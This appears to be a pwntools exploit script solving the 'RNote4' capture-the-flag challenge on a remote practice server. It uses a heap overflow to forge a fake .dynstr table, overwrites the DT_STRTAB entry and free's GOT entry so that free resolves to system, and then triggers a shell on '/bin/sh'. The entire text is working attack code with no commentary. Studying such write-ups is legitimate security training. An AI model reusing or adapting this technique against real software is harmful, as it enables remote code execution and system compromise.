1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from pwn import *
sh = remote('node3.buuoj.cn',28637) elf = ELF('./RNote4') free_got = elf.got['free'] free_got_ld = 0x0000000000400626
fake_dynstr_addr = 0x00000000006020D0 + 0x100 fake_dynstr = '\x00'*0x5F + 'system\x00' fake_dynstr = fake_dynstr.ljust(0x73,'\x00') fake_dynstr += 'GLIBC_2.4\x00GLIBC_2.2.5\x00' dt_strtab = 0x0000000000601EB0
def add(size,content): sh.send(p8(1)) sh.send(p8(size)) sh.send(content)
def edit(index,size,content): sh.send(p8(2)) sh.send(p8(index)) sh.send(p8(size)) sh.send(content)
def delete(index): sh.send(p8(3)) sh.send(p8(index))
add(0x20,'a'*0x20) add(0x80,'b'*0x80) add(0x20,'/bin/sh\x00'.ljust(0x20,'\x00'))
payload = 'a'*0x20 + p64(0) + p64(0x21) + p64(0x80) + p64(fake_dynstr_addr) edit(0,0x40,payload)
edit(1,len(fake_dynstr),fake_dynstr)
payload = 'a'*0x20 + p64(0) + p64(0x21) + p64(0x80) + p64(dt_strtab) edit(0,0x40,payload)
edit(1,0x8,p64(fake_dynstr_addr))
payload = 'a'*0x20 + p64(0) + p64(0x21) + p64(0x80) + p64(free_got) edit(0,0x40,payload)
edit(1,0x8,p64(free_got_ld))
delete(2)
sh.interactive()
|